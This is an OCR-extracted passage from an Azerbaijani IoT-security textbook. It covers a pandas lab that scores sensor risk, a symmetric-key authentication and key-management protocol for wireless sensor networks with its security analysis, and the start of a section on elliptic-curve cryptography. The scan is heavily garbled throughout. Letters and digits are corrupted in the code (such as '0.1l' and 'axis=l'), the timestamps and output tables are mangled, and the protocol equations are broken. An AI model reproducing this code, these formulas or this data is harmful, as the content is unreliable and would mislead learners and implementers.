if row["vibration level"] > 0.1l: score += 2

if row["device status"] == "alert": score += 2
return score

df["risk score"] = df.apply(compute risk, axis=l)
print (df[["timestamp", "temperature", "humidity",
"vibration level", "device status", "risk score"]].head())

timestamp temperature humidity vibration_level device_status \

© 2025-94-18 10:00:00 40.1 73 9.18 normal
1 2025-04-18 10:01:00 57.7 78 0.12 alert
2 2025-04-18 10:02:00 54.0 87 9.23 alert
3 2025-04-18 l10:03:00 43.0 95 0.06 warning
4 2025-64-18 10:04:00 406.3 87 9.29 alert
5 2025-04-18 19:05:00 46.8 89 8.02 warning
6 2025-84-18 10:006:00 56.5 73 8.15 alert
7 2025-04-18 10:087:00 51.8 76 0.03 warning
8 2025-04-18 l1©:08:00 41.8 75 0.09 normal
9 2025-04-18 10:09:00 44.5 82 0.26 alert

risk_score

W N A RwW NS
BO® R, URUR AN

Sakil 3.11. Risk skorlarinin tayin olunmasi

v" Addim 3 — Risk Skorlarimin Zaman iizra Vizualizasiyasi

Zamanla risklorin neco doyisdiyi gostorilir vo doyarlar vizual sokilds izlonilir.

Bu vizual tohlil sayosindo real diinya ssenarilorinds tohliikali yiiksoliglorin zamanla
neco meydana ¢ixdigini aydin sokilde gérmok olur.

import matplotlib.pyplot as plt

plt.figure (figsize=(12,6))
plt.plot(df["timestamp"], df["risk_ score"], marker="o")
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¢ plt.axhline(y=3, color="red", linestyle="--", label="Kritik
Risk Limiti")

e plt.title("Real Zamanli Risk Skoru Analizi")

e plt.xlabel ("Zaman")

e plt.ylabel ("Risk Skoru")

e plt.legend()

e plt.grid(True)

e plt.tight layout()

e plt.show()
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Sakil 3.12. Real zamanda risk skorunun dayigmasinin izlonmasi
v Addim 4 — Kritik Hallarin Askarlanmasi

Risk skoruna osason sistemin kritik voziyyoto kecdiyi vaxtlar1 konkret
mioyyon etmok olur. Bu addim sistemin hansit vaxtda miidaxiloyo ehtiyac
duydugunu real vaxtli olaraq geyd etmoyo imkan verir. Xobordarliq sistemi bu
molumatlar osasinda qurula bilor.

e critical = df[df["risk score"] >= 4]
¢ print(critical[["timestamp", "temperature", "humidity",
"vibration level", "risk score"]])

@ «xritik riskli zamanlar:

timestamp risk score
1 20825-84-18 18:81:80
2 2025-04-18 10:82:00
4 2025-84-18 1@:04:00
6 2025-984-18 l1@:06:00
9 2025-84-18 18:09:08
10 2025-04-18 18:10:00
13 2025-04-18 1©:13:60
15 2025-04-18 1©:15:00
17 2825-04-18 10:17:80
18 2025-04-18 1©:18:80
19 2025-04-18 1©:19:60

R Y L Y B I

Sakil 3.13. Kritik risk hallarinin tayin edilmasi
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v' Notica

Bu laboratoriya isi sonaye tipli IoT sistemlorindo miisahido olunan real
tohliikalorin analizi liclin fundamental yanasmani gostorir. Totbiq edilon iisullar
asagidakilardir:

« Real zamanli malumatlarin toplanmasi va tohlili

o Kiitiklik kriteriyalarina asasan risk score modeli qurulmasi
o Yiiksok riskli zamanlarin filtrasiya yolu ila sec¢ilmasi

o Vizual analiz alatlori ilo naticolorin togdimati

Bu dsullar real diinyada IIoT tohliikesizliyindo, xiisusilo predictive
maintenance, intrusion detection vo health monitoring sistemlorinds genis totbiq
edilir.

v' Tapsiriqlar

e Yeni bir sensor atributu (pressure) olavo edin vo ona goro risk skorunu yenidon
hesablayin.

e risk score sahosinin zamanla doyismasini seaborn kitabxanasi ilo vizualizo edin.

e Hor 10 dogigods bir orta risk hesablayin vo onun doyisimini qrafiklo gostorin.

e alert statusunda olan biitiin miisahidolori ayrica fayla (alerts. csv) yazin.

e matplotlib vizualizasiyasina risk soviyyasino goro rongli markerlor olavo edin.

e Ogorrisk score >= 4,sistem “alarm” funksiyasi iso salsin (log faylina yazilsin).

e Sistemin uptime vo downtime voziyyatlorini statistik olaraq analiz edin.

e Sensor molumatlarini . json formatinda saxlaym vo API kimi togdim edin.

e Hor bir device status tipino uygun tolimat mesaji verin (masolon, alert -
midaxils tslsb olunur).

e risk score dinamik doyisdikco avtomatik email vo ya MQTT alert sistemi tosvir edin.
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4. IoT Sabokasi vo Kommunikasiyada Autentifikasiya

4.1. Simmetrik Acar-Osasl Autentifikasiya va Simsiz Sensor
Sabakalarina Tatbiqi

Iki torof arasinda ortaq moxfi molumat béliisiildiikde, dogrulama mogsadilo
simmetrik acar sxemlori istifado oluna bilor. Masolon, dogrulanmais sifrolomo (AE)
rejimindo AES-GCM vo ya AES-CCM totbiq edilo bilor. Lakin belos bir dogrulanmis
acar1 — yoni sessiya acarini yaratmagq li¢lin ya ac¢iq acar, ya da simmetrik acar osasl
mexanizmlordon istifado edilir. Simmetrik agar asasli mexanizmlorin Ustiinliiyii
ondadir ki, agiq acar asaslt variantlarla miigayisodo daha az hesablama giicii tolob
edir vo daha kicik 6l¢iilii mesajlar gondormoyos imkan yaradir. Burada asas ¢otinlik,
bu acar1 miqyaslana bilon formada effektiv sokilde yaratmaqdir. Masalan, bir cihazin
har bir forgli cihazla slage qurmagq tigiin miivafiq moxfi molumati saxlama ehtiyaci
cox praktiki olmazdi. Adoton, bu protokollarda prosesi idaro etmok iigiin li¢ilincii
etibarli torof (TTP) istirak edir.

Miixtolif arxitekturalar nozoro alina bilor — ya "birin-bira" (one-to-one) ya da
"birin-goxa" (one-to-many) rabito modeli. Birin-biro rabitodo, iki cihaz TTP-nin
komoyi ilo ortaq bir moxfi agar qurur. Hor bir cihaz yalniz TTP ilo ortaq agar
boliismolidir.

Needham-Schroeder protokolu bu problemi hall etmok tigiin toklif edilmisdir.
Lakin bu protokol sonradan tokrar hiicumlarina gars1 hossas oldugu ii¢lin geydo
alinmis vo Kerberos protokolunun simmetrik variantina yonlondirilmisdir.

Son zamanlarda, ¢ox torofli rabito li¢lin agar idaroetmo protokollarinda
ohomiyyoatli inkisaflar oldo edilmisdir. Xiisusilo, 2016-c1 ildon bari iki vo tli¢ faktorlu
identifikasiya modellori daha genis sokildo istifado olunmaga baslanmisdir. Bu
protokollar, anonimlik vo izlonmozlik xiisusiyyeotlori olavo edildiyi {i¢iin IoT
tohliikasizliyindo totbiq olunmaga baslamigdir. Moasolon, bir arasdirmada
gostorilmisdir ki, bu metod ev sahiblorinin, qonaqlarin vo digor icazali soxslorin
agill evlordos IoT cihazlarina end-to-end giris alds etmasi tigiin istifado edilo bilar.
Digor todqiqatda iso IoT cihazlar1 ilo giris qapilart arasinda acar idaroetmo
metodologiyasinin qurulmasi tosvir olunmusgdur. Beloliklo, bu yanasmalar forgli IoT
cihazlarma miixtolif tohliikesizlik soviyyalori toqdim edir.

Bu bolmados, eyni ideyanin Simsiz Sensor Sobakoalorindo (WSN) agar
idaraetmo protokoluna totbiq olunmasinin miimkiinliiylino baxilir. [oT-nin miithiim
bir hissasi olan WSN-larin populyarligi son on ildo shomiyyotli doracodo artmisdir.
Bu sobokolor ¢oxsayli totbiq saholorine malikdir vo buna gors do genis sokildo todqiq
olunub vo standartlasdirilib. Lakin agar idaroetmo masalolori ¢ox vaxt nozoro
alinmir. Minimal tohliikasizlik xiisusiyystlorine ehtiyac duyulsa da, bu sistemlor
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limitli 6tiirma zolagl, mohdud hesablama giicii va enerji manbalari ila isladiyi liglin
somorali mexanizmlor tolab edir.

Bu hissads danisilan acar idaroetmo modeli Simmetrik Dogrulama ilo Acar
Razilagdirmasi (SAK) adlanir vo hierarxik arxitektura osasinda igloyon simsiz sensor
sabokalari liclin nozards tutulub. Buraya ii¢ asas komponent daxildir:

o Baza stansiyas1 (BS)
o Klaster nozarst¢ilori (CH)
o Klaster qovsaglari (CN)

Bu sistem yalniz simmetrik agar asasli sxemlordan istifads edir vo dogrulama,
biitovliik vo autentifikasiya moqsadils istifado edilir. Hor sensor diiylin fordi agara
sahibdir vo hom CH, hom do BS ilo slage qurmagq iigiin 6z agarlarini istifado edir.
Sabakaonin tohliikasizliyini artirmaq tigiin qrup acarlar1 da totbiq edilir:

CN vo CH arasinda fordi agar
Eyni klaster daxilindoki biitiin CH-lor {i¢lin timumi acar
Biitiin CH-lor ligiin ortaq agar
Klaster daxilindoki secilmis qovsagqlar li¢lin xiisusi acar

o O O O

Acar generasiya prosesi mesaj 0tlirmo zamani ¢ox az hesablama resursu tolob
etmoklo hoyata kecirilir vo enerji sorfiyyatin1 azaldir. Bundan olava, yeni bir diiyiin
sistemo qosulduqda, onun etibarli identifikasiyas1 tigiin ovvalcodon etibar edilmis
acar idaroetmo metodologiyas1 totbiq edilir.

4.1.1. Sistem Modeli
1. Dizayn magqsadlari

SAK (Simmetrik Autentifikasiya Acar Miibadilosi) protokolunun dizayn
mogqsadlori LEAP protokoluna banzordir vo asagidaki toloblora cavab vermolidir:

o SAK autentifikasiya, biitovliik vo moxfiliyi tomin etmolidir, xiisuson do on
vacib kommunikasiya ssenarilori iiglin. Bu ssenariloro eyni klasterdoki CN
(Klaster Nodu) vo CH (Klaster Nozarotcisi) arasindaki olago, eyni klaster
daxilindo CN-lor arasindaki olago, homginin gsobokodoki biitiin diiytinlor
arasindaki olago daxildir.

o Ogoar bazi sensor diiylinlori siradan ¢ixarsa va ya sobakoya yeni diiyiinlor olava
olunarsa, sistem minimal doyisikliklorls foaliyyatini davam etdirmaolidir.

o Sensor diiyiinlorinin mohdud resurslari nozors alinaraq, protokol effektiv
sokildo dizayn edilmalidir. Bununla, kommunikasiya morhalolorinin sayini
azaltmaq vo miirokkob kriptografik omoliyyatlart minimuma endirmok
hadoflonir.
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o Sensor sabokolords yiiksok paket itkisi miisahido olunduguna goéra, mesaj
parcalanmasinin qarsisint  almaq vacibdir. Bu mogsadlo, 6LoWPAN
adaptasiya qati istifado edilo bilar, belslikla, IP bashqglarmi sixisdiraraq,
faydali yiikii 70 bayta godor artirmaq miimkiindiir.

2. Miihit

Sensor sobokasini licmoarhoalali arxitektura iizorindo nozordon keciririk: Baza
Stansiyas1 (BS), Klaster Nozarotgisi (CH) vo miioyyon CH-ys aid CN-lor. Tutaq ki,
hor bir sensor nodu (CH vo CN) sobokoys qosulmadan ovval BS ilo dncodon
bollisdiiriilmiis sifrolonmis acara sahibdir. Eyni zamanda, hor bir nod 6z unikal
identifikatorunu (ID) va olava soboko molumatlarini dasiyir.

Diiyiinlor aktiv edildikdon sonra, CH identifikasiya ID-sini va zaman nisanini
(timestamp) yayimlayir. Bundan sonra, acar idaroetmo protokolu hor bir CN {igiin
asagidaki agar novlorini qurur:

o Qrup dilyiin acari (knj) — biitlin diiyiinlor vo eyni klasterdoki CH ilo
paylasilir.

o Multikast acar (km;) — secilmis CN qrupuna yayilir.

o Fordi klaster acar (k;) — yalniz miioyyon CN vo CH arasinda paylasilir.

o Ciit diiyiin ac¢ar1 (kizi2) — eyni klasterdoki iki CN arasinda paylasilir.

Baza stansiyas1 (BS) zaman nisanimi (timestamp) CN-loro géndordikdo, CH-
lor do BS ilo paylasilan qrup diiylin agarini (kn;) oldo edo bilir. CH eyni zamanda
fordi klaster acar1 (k;j), multikast acar (kmj) vo digor tohliikosizlik acarlarini miioyyon
edo bilir (Sokil 4.1).

Sobokodoki forqli qurgular arasinda kommunikasiya imkanlar1 onlarin
resurslarindan asilidir. BS istonilon malumati yayim vo ya unicast formatinda CH vo
CN-lora gondors bilor. CN-lar isa coxpillali soboko slagosindan istifado edorok BS-
o gosula bilar. Bozi qisaltmalar1 asagidaki kimi gobul edirik:

H — Hash funksiyasini ifads edir.

c=Ei(m) — m mesajimin K acari ilo sifrolonmosini gostorir.

m=Dy(c) — ¢ sifrolonmis mesajinin K acgar1 ilo desifr edilmosini gostarir.
mi||mz — m: vo mz mesajlarinin birlogsmasini gostarir.

m: @ m: — m: vo mz mesajlari arasinda XOR omoliyyatini gostorir.

o O O O

O

Hiicumcular hom sobokonin daxilindon, hom do xaricindon golo bilor. Onlar
soboko trafikini dinloyo, yeni mesajlar yerido, kéhno mesajlar1 tokrar oynada vo
doyisdira, eloco do saxta soxsiyyotlor yarada bilorlor. Hiicumgular CN (Klaster
Nodu) vo ya CH (Klaster Nozaratgisi) rolunu alo kegirmoayo cohd gostora bilarlor.
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Sakil 4.1. BS (baza stansiyasy), C; (klaster nazaratcisi) va miivafiq klaster diiyiinlori L{ il>
sxemdo miimkiin olan farqli acar novlorinin niimunasi

4.1.2. Normal Modda Sxemin Islomasi

Bu b6lmado sxemin normal modda necs islodiyini izah edirik, yoni, sobokodo
real tohliikko vo ya bir diiyliniin zororli davrandigini gostoron bir gostorici yoxdur.
Novbati bélmodo iso bu clir hallarin neco idaro olunacagini miizakiro edocoyik, bu
da doyisiklik modunda sxem adlanir.

Acar idaraetmo sxeminds bir neco faza forglondirilir. Birinci faza qurasdirma
morholoasidir, burada hor bir dilyiin baza stansiyasi1 (BS) ilo unikal fordi paylasilan
acarla, soboko acar1 ilo vo CN vo CH iigiin forgli olan bazi olave acar materiallari ilo
tomin edilir. Bu molumat gobokodoki son yerlosmodon asili deyil. Yalniz sensorun
CN vo ya CH rolunu oynayacagini bilmayi tolob edir. Qeyd etmok lazimdir ki, BS
etibarli liclincii torof (TTP) rolunu oynaynr.

— Qurasdirma morholosi

Qurasdirma morholosi CH vo CN iigiin forqlidir. Hor iki hali miizakirs
edocoyik. K,vo K,, BS-nin iki osas gizli acaridir.

1. CH-in qurasdirilmasi
Hor CH, C; asagidaki materiallarla tomin olunur:

o Soboko acari k.

o Tamdici ID;.

o BSils fordi paylasilan agar, k. BS-da saxlama toloblorini azaltmagq ii¢iin bu
acarlar osas agar K, vo diiyliniin miivafiq identifikatoru asasinda oldo edilo
bilor:

kj = H(Knm I ID))
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o Olava acar materiali:
H, = H(ID; || H(K,))
H, = H(K,,)) (3.1)
2. CN-in qurasdirilmasi
Hor CN asagidaki materiallarla tomin edilir::

o Soboks acari k.
o BS ils fordi paylasilan agar, ki] . Burada:

k! = H(K 11 ID))
o Asagidaki torif verilir:
Ay = H(ID} 1| H(Kpn||Kn)) (3.2)
Daha sonra, hor CN-do asagidaki olavo agar materiali saxlanilir:
B! = H(K,) ® 4]
¢/ =kl @ H(a)
D! = H(K,) ® k] (3.3)

Qeyd edok ki, orijinal identifikator [ Dij diiyliniin yaddasindan silinir. Bundan

sonra, diiyiin Bij identifikatoru ilo {linsiyyot quracaq. Belosliklo, todariik¢ii diiytliniin
sobokodoki biitlin diiylinlora bildirmadon onu ¢atdira bilor. Diiyiiniin olo kegirilmo
ehtimalini1 azaltmagq iigiin olavo texnikalar totbiq oluna bilor.

3. Qrup diiyiin acari
CH oavvalco tasadiifi bir doyar tg se¢ir vo qrup agarini hesablayir:
kny = HUD, || H(K) © t, = Hy Dt (3.4)
CH, G, Ey,, (IDj||tS||H(knj)) mesaj1 gondorir:

Biitiin CN-lor bu acar1 asanligla alds edo bilirlor. Sifrali mesaj soboko agari ilo
desifro edilir vo sonra H(K,,) doyeri ¢ixarilir. Alinan natico desifro edilmis mesajin
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son hissasi ilo miigayiso edilir. Bu proses asason CH torofindon bagladilir, lakin
basqa bir CN torafindon do aktivlasdirilo biloar.

4. Fordi Kklaster acari

Bu faza fordi paylagilmis agar k;; aldo edilmasinag gotirib ¢ixarir vo yalniz bir
linsiyyat fazasini tolob edir.

e CN-don CH-9
Asagidaki addimlar L]l.' torofindon icra edilir:

o Ovvalco H(K,,) doyori Dij lizorindon ¢ixarilir.

o Daha sonra L{ , saxlanilan dayarlorindon istifade edarok hesablayir:
HAD =¢/ @ k! (3.5)
o L]l-. tosadiifi doyar k;; secir vo fordi klaster agarini hesablayir:
My = H(D; |IH(K,) © H(HADII k)

M, = kij D H(A{)

o Sonra, agagidaki mesaj C;-yo gondorilir:
Bl || My || M, (3.6)
C; bu mesaj1 aldigdan sonra asagidaki hesablamalari icra edir:
j_pi
A; = B; & H(K,)
ki =Mz @ H(A)
Daha sonra, autentifikasiyani yoxlamaq {i¢lin asagidaki sort yerino yetirilir:

HHAD| k) =M, @ H(UD, || H(Ky))
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Ogor natico miisbatdirss, C; miisyyan eds bilar ki, Bij identifikatorlu diiyiin
sobokayo aiddir vo onun miivafiq paylasilmis acar k;;-dir.

e CH-don CN-3

Indi farz edok ki, CH 6z klasterindo CN Bl-j -nin movcudlugundan xabordardir.
Masolon, CN avvalki addimda artig CH-yo miisyyon malumat gondors bilordi. CH
fordi klaster acarini aldo etmok iigiin asagidaki addimlari yering yetirir.

o CH avvalco A{ -ni sensor dilyiinlin Bij aclq parametrindon ¢ixarir:
Al =B! ® H(Ky)

Tosadiifilik alava etmok ticiin » tosadiifi parametri se¢ilir vo fordi klaster acari
bels toyin olunur:

kij = HCH(ADIIr[IH(UD, [|H(K))) (3.7)

Qeyd: Son hisso mesajin yalniz CH C; torafindon quruldugunu tomin etmok
lictindir.

CH CN LJl: -yo mesaj gondorir:
ril Dy || H(r|| ki) (3.8)
j : g : —
CN L; bu mesaj1 alir vo asagidaki hesablamalari yering yetirir:

o H (A{ )-ni hesablayir (Tonlik 3.5) vo
o H(D; ||H(Ky)) doyarini tapir.

Bunun naticasinds k;; fordi agar1 (Tanlik 3.7) ilo miisyyan edilir. Son olaragq,
agarin butovliytinii yoxlamagq ti¢iin H(r|| k;;) hesablanir vo alinan mesajin son

hissasi ilo miigayiss edilir. Ogor yoxlama ugurlu olarsa, L]l: belo naticayo golir ki,
CH C; acan k;; paylasmaq istoyir.
5. ikili acarin téradilmosi

Burada 1/, dilyiinii L}, ilo bir agar qurur. Bunu sads sokildo hayata kegirmok
olar, ogor CH agar yaratsa vo onu k;;; Vo k;,; istifado edorok etibarli gokildo
klasterdoki miivafiq diiyiinlorino géndorarsa.
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Bu ideya klasterdoki diiyiinlorin vo CH-nin paylasmadig1 gizli H(K},)
dayarins asaslanir. Digar torafdon, CH har bir fordi diiyiinle unikal msalumat paylasir.

Noaticado, diiyiin L]l-'z, L{l -don CH-don alds etdiyi A'i2 asasinda moalumat tolab edo

bilar.

ogor L{l diizgiin autentifikasiya olunarsa, bu mesaj CH-don L{l—s gondorilir vo
belalikla L]l.l-in CH ils payllasd1g1 unikal molumat miisyyan olunur. Nohayoat, L]i1 bu
molumati istifado edorok L]i2 ilo unikal acar paylasir.

Bu prosedur 3 marhoalaya boliiniir.
e 1-ci Marhala: L{l — G

Burada L}, 1/, diiyiiniinii farqlondirmak {i¢iin unikal molumat tolob edir.
Bunun iigiin tosadiifi » doyari yaradilir vo agar tolobi (KR) gondorilir (Tonlik 3.6).

Mesaj formasi: B/ || My || My||Ey,, ,(KR||B||7)
e 2-ci Marhals: C; — L{l

« G, avvalca k;; agarini (avvalki addima asasan) slds edir.
o Ogor C; mesajin son hissosini desifro eds bilirss, asagidaki omoaliyyatlari icra
edir:
o Yeni agarin hesablanmasi: k;;; = H(H(A;1)||r|[[H(ID; ||H(Ky)))

o Forqlondirma doyarinin hesablanmasi: B;, = H(H (4;,)||Bi1]|r

Yalniz CH bu doyarlari hesablaya bilar, ¢linki digor CN-lorin H (K,,,) doyarina
¢1x1s1 yoxdur.

L{l-ye gondorilon mesaj: r||1D;| |Eki1j (r||H(H(A;2)||Bi1l|T))

o Ovvales, kiy; desifro edilir.
o H(r||k;;) gbndarilmak oavazino (Tenlik 3.8), ancaq sifrolonon moatn

gondorilir. Ogor desifro edildikdon sonra agiq motnin ilk hissosi
tosadiifi » doyorini ehtiva edirso, bu halda agarin biitovliiyii tosdiglonir.

Sonra, yeni tosadiifi k;;;» acar1 secilir vo ikili acar kimi istifado olunur.
Olava tosadiifi r, doyari do toyin edilir.
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Hesablamalar:
Mo = 1[IEq(rcan) |18y 1) T2l1T)
M; = ki, © H(Bi2l|r2) © H(Ky)
Vi = H(kiyi, @ Bi1)

1’, géndarilon mesaj: Bi1||M0||M2||V1

3-cii Marholo: I, tarafindon agarin yaradilmasi

Son addimda L, My mesajin1 desifro edir vo H(H (A;2)||B;1||7) hesablayir.
Son yoxlama:

H(ky;, D Bij ) doyari hesablanir vo V; ilo miiqayiso edilir.

Ogor uygunluq varsa, L, I, -in k;q;, agarini paylagdigim tosdiq edir.
Bu metodda CH istirak etmoadoan ikili acar sldas olunur.

Bu prosedur sensor diiylinlorinin bir-biri ilo tohliikasiz alaqs qurmasina vo CH

olmadan birbasa ikili agar paylagsmasina imkan yaradir.

6. Coxsayh gondoris acar1 (Multicast Key) vo qrup klaster acar1 (Group

Cluster Key)

o Coxsayh gondoris acar: (Multicast Key)

Soboko daxilinds etibarli molumat miibadilesini tomin etmok ii¢iin klaster

rohbori (CH) torafindon miioyyon diiylinlor qrupu ii¢lin ¢oxsayli gondoris acari
yaradilir. Bu acar xilisusi funksiyalar osasinda hesablanir vo klasterdoki fordi
diiytlinloro paylanir. Prosesin asas morhoalolori asagidakilardir:

Acarin yaradilmasi: Klaster rohbori hor bir diiylin ii¢lin fordi acgarlar
hesablayir vo onlar1 xiisusi interpolasiya metodlar1 vasitasilo polinom
funksiyasina yerlosdirir.

Mbolumatin o6tiiriilmasi: Polinom vasitosilo hesablanmis acarlar miioyyon
diiytinlora gondorilir.

Acarin barpasi: Dilyiinlor aldiglart molumatlardan istifado edorok acarlarini
borpa edirlor.

Dogrulama: Ogor agar diizgiin barpa olunmazsa va ya hor hans1 uygunsuzluq
askar edilorso, diiylinlor CH-yo alava dogrulama tigiin sorgu gondarirlor.

Bu yanasma informasiya miibadilosinin moxfi vo effektiv sokildo aparilmasini

tomin edir.
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o Qrup Kklaster acar1 (Group Cluster Key)

Baza stansiyasi (BS) torofindon biitlin klaster diiyiinlori {i¢iin ortaq qrup
klaster acar1 yaradilir. Bu acarin yaradilma vo paylanma prosesi asagidaki
morhoalalordon ibaratdir:

o Acarm yaradilmasi: BS tosadiifi doyor secorok onu qrup klaster acari ilo
birlosdirir.
o Acarn yayllmasi: Hesablanmis acar biitiin klaster diiytinlorina otiirtiliir.
o Acarn barpasi va dogrulama: Hor bir diiyiin aldig1 molumat asasinda qrup
klaster acarin1 barpa edir vo dogrulama prosesindon kegirir.
Bu metod klaster daxilinde malumat 6tiiriilmasinin tohliikesizliyini artirir vo
identifikasiya prosesini optimallagdirir.

4.1.3. Kimlik Dogrulama (Authentication)

Sobokoadaki biitlin qurgular eyni klaster daxilinds qrup agarini bildiyine gors,
bu kommunikasiya proseslorindo autentifikasiya ¢otinlogir. Ononovi tsullar,
mosoalon, LEAP metodunda har bir qurgu {i¢lin unikal acgar istifado edilso do, bu iisul
yaddas baximindan agir yiik yaradir vo boazi hiicumlara gars1 zoifdir. Bu bolmoado,
forqli bir metod toklif edilorak kn; vo k, acarlarni arasinda autentifikasiya
forglondirilir vo proses CN (Klaster Qovsagi), CH (Klaster Rohbori) vo BS (Baza
Stansiyasi) soviyyoasindo incolonir.

1. CN taoroafindon autentifikasiya

Klaster qovsaqlar1 (CN) xiisusi tohliikosizlik materialina gors klaster rohbori
(CH) vo baza stansiyasi (BS) ilo autentifikasiyani yerino yetiro bilor. Bunun {i¢iin
miuoyyon kriptoqrafik funksiyalar vo tosadiifi doyarlor hesablanir vo autentifikasiya
signali géndarilir. ©gor problem yaranarsa, bu voziyyat qrup daxilindo otiiriiliir.

2. CH toroafindon autentifikasiya olunmus yayim

Klaster rohbori (CH) bir mesaji autentifikasiya olunmus sokildo gondormok
istoyirso, istirakeilar siyahisint mesajin torkibino olave edir. Bunun iki tisulu var:

e Coxqgath autentifikasiya: CH daha ovvol derivasiya edilmis acarlarla
autentifikasiyani tomin edir.

e Qrupa xiisusi acar istifadasi: CH autentifikasiya {li¢iin qrup agarini istifado
edir vo mesajin i¢inda istirake¢r siyahisini olavo edir.

Bu iisullar istirak¢ilarin sayia bagli olaraq mesaj 6l¢iisiinii artira bilor. Bunun
qarsisini almaq ti¢ilin:
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« Klaster qovsaqlarini alt qruplara bolmok.
o Hor bir mesaj ticlin ardicilligi qorumaq va agor ardicilliq pozularsa, mesajin
etibarsiz sayilmasi.

3. Baza stansiyasindan autentifikasiya olunmus yayim

Baza stansiyasinin autentifikasiyasi iki saviyyadon ibarat olmalidir:

« BS — CH autentifikasiyasi: Ovvolco baza stansiyasi klaster rohborlori (CH)
torofindon autentifikasiya olunmalidir.

o« CH — CN autentifikasiyasi: Daha sonra CN-lor 6z CH-lor1 vasitasilo baza
stansiyasini yoxlamalidir.

Bu prosesdo, mesajin i¢cindo alava tohliikasizlik funksiyalar1 hesablanaraq
oturtlir. CH-loar daha cox hesablama resursuna malik oldugu iicilin paketlorin
boliinmasi boylik problem yaratmamalidir.

4.1.4. Tahliikasizlik Analizi

Bu boélmoado sistemin tohliikosizlik aspektlori vo miixtolif hiicumlara garsi
dayanigliligi miizakiro olunur. ©vvolki boélmolordo moxfilik, biitévlik vo
autentifikasiya Uc¢ilin toklif olunan metodlar izah edildi. Bu yanasmalar, klaster
daxilindo CN-lor (Klaster Qovsaglar1) vo CH-lor (Klaster Nozarat¢ilori) arasinda,
homg¢inin sobokonin digor hissolorindo effektiv autentifikasiyani tomin edir.

Bundan olavo, "doyisiklik rejimi" adlanan mexanizm sobokonin miioyyon
hissolorinin olo kecirilmosi halinda sistemin funksionalligin1 qorumaq {i¢iin

todbirlori miioyyon edir. Indi isa on ohomiyyatli hiicum névloring qars1 miigavimati
tohlil edok.

1. Saxtalasdirma hiicumlarina qars1 miigavimat

Bu tip hiicumda, hiicumgu soboko daxilindon vo ya xaricindon CN vo ya CH
rolunu ala kegirmok li¢lin cohd edir.

e CH rolunun 3l Kecirilmasi: Hiicumgu, qrup diiyiin acarlarin1 vo ya
autentifikasiya prosesindos istirak edon molumatlar1 oldo etmoya ¢alisa bilar.
Lakin bu proses {igiin hom H(ID;||H(K,)), hom do H(K,) miivafiq

kriptoqrafik doyorlors ehtiyac var ki, bu da yalniz orijinal CH-do mdvcuddur.

Hotta soboko daxilindoki CN-laor belo bu molumatlar1 hesablaya bilmir, ¢ilinki
sistemdo unikal tohliikasizlik todbirlori mévcuddur. Eyni zamanda, CH-lor do
autentifikasiya {li¢iin lazim olan bozi kriptoqrafik parametrlors ¢ixis1 olmadigi
ticiin tohliikasizlik tomin edilir.
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o CN rolunun 315 kec¢irilmasi: Ogor bir diiyiin BS (Baza Stansiyasi) torafindon
ovvalcadan tasdiglonmis molumatlara malik deyilss, o, CH ilo qanuni alaqgo
qura bilmir. Bu olaqe liciin CN-in miioyyan autentifikasiya doyorlarini
cixarmaq qabiliyyati olmalidir ki, bu da yalniz sistem torafindon tasdiglonmis
diiytinlords miimkiindiir.

Sobaokonin daxili hiicumgulart bels miioyyan identifikasiya doyarlorine malik
olmadiglar1 {i¢iin sensor qovsaqlarinin funksiyasinit 06z TUzerino gotiira
bilmazlor.

Qeyd: Ogor nadir hallarda zororli bir CN vo CH birlikdo horokat edorso, bu
hiicum miimkiin ola bilor.

2. Diiyiinlorin 219 ke¢irilmasino qars1 miigavimat

Ogor bir diiylin alo kecirilorso vo onun saxlanilan agarlar1 kriptoqrafik
midafio (mosolon, kod obfuskasiyasi) ilo qorunarsa vo ¢ixarilmast miimkiin
olmazsa, sistem tohliikosiz qalir. ©gor agar hor hansi bir sokildo aldo olunarsa,
sistemin doyisiklik rejimi totbiq edilmalidir.

Ogor CH olo kegirilorso, bu daha ciddi bir problem yaradir, ¢linki CH-lor daha
cox hesablama giiciino malikdir vo slave tohliikasizlik mexanizmlori ilo qorunur
(mosolon, miidaxiloyo davamli avadanliglar). Lakin, CH komprometasiya edilso
belo, klaster daxilindoki CN-lor tohliikasiz rabitoni qorumaq {i¢iin miioyyon
kriptoqrafik prosedurlardan istifado edo bilirlor.

Diiyilin acarlarinin yenilonmosi prosesi doyisiklik rejimino uygun olaraq
hoyata kecirilmolidir.

3. Tokrar hiicumlara garsi miigavimat

Klaster daxilindo fordi autentifikasiya agarlarinin hesablanmasi vo ya CH-don
molumat sorgusu birfazali autentifikasiya mexanizmi ilo yerino yetirilir. Bu
mexanizm tosadiifi doyorlordon istifado edir ki, bu da tokrar hiicumlar1 (replay
attacks) ¢otinlosdirir.

Bundan slavo, tosadiifi doyorlorin avozino zaman nisanlari, mesajin xos (hash)
doyori vo ya saygaclar istifado oluna bilor. ©gor 6tiiriilon mesajin daxilinds bu ciir
mexanizmlor totbiq olunarsa, tokrar hiicumlarin garsisini almaq daha effektiv
olacaqdir.

4.2. Elliptik 9yri Kriptografiyasi (ECC) asash Protokollar

Elliptik oyri kriptoqrafiyast (ECC) autentifikasiya vo acar idaroetmasi ii¢lin
miixtolif tohliikosizlik protokollarinda genis totbiq olunur. ECC, elliptik oyri
nozoriyyasino asaslanan asimmetrik kriptoqrafik yanagsmadir. Bu metod hesablama
xorclorini azaltmaqla yanasi, digor tisullara (masolon, modul eksponentasiya)
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nisboton daha effektiv vo kigik agarlarla siiratli tohliikosizlik tomin edir. ECC, RFID-
lor, rogomsal imzalar, simsiz sensor sabokolor, smart kartlar vo digor autentifikasiya
texnologiyalarinda totbiq edilir. Bu fasildo ECC-nin autentifikasiya, acar
miibadilasi, imzalama va tohliikasiz qrup kommunikasiya protokollarinda istifadosi
miizakirs edilir.

Hor bir informasiya tohliikasizlik sistemi moxfiliyi, biitovliiyli vo mévcudlugu
tomin etmolidir. Bu xiisusiyyatlori alds etmok ti¢lin sobokolords {i¢ asas tohliikosizlik
funksiyasi tolob olunur: molumatlarin sifrolonmosi, istifadogi autentifikasiyasi vo
tohliikasiz acar miibadilosi. Bu funksiyalar bir-biri ilo olagoalidir vo forqli acar
idaraetma metodlari vasitasilo hayata kecirilir.

Tipik olaraq, sifroloma va deshifro amaliyyatlar iki kateqoriyada aparilir:

o Simmetrik acar sifroloma: Gondorici vo alici eyni agardan istifado edir
(DES, AES kimi).

o Asimmetrik acar sifralomd (PKC - Public Key Cryptography): Hor
istifadoginin agiq vo gizli agardan ibarat agar ciitii olur (ECC, RSA).

Simmetrik acar metodlar1 iigiin istifadogi autentifikasiyasi vo agar miibadilosi
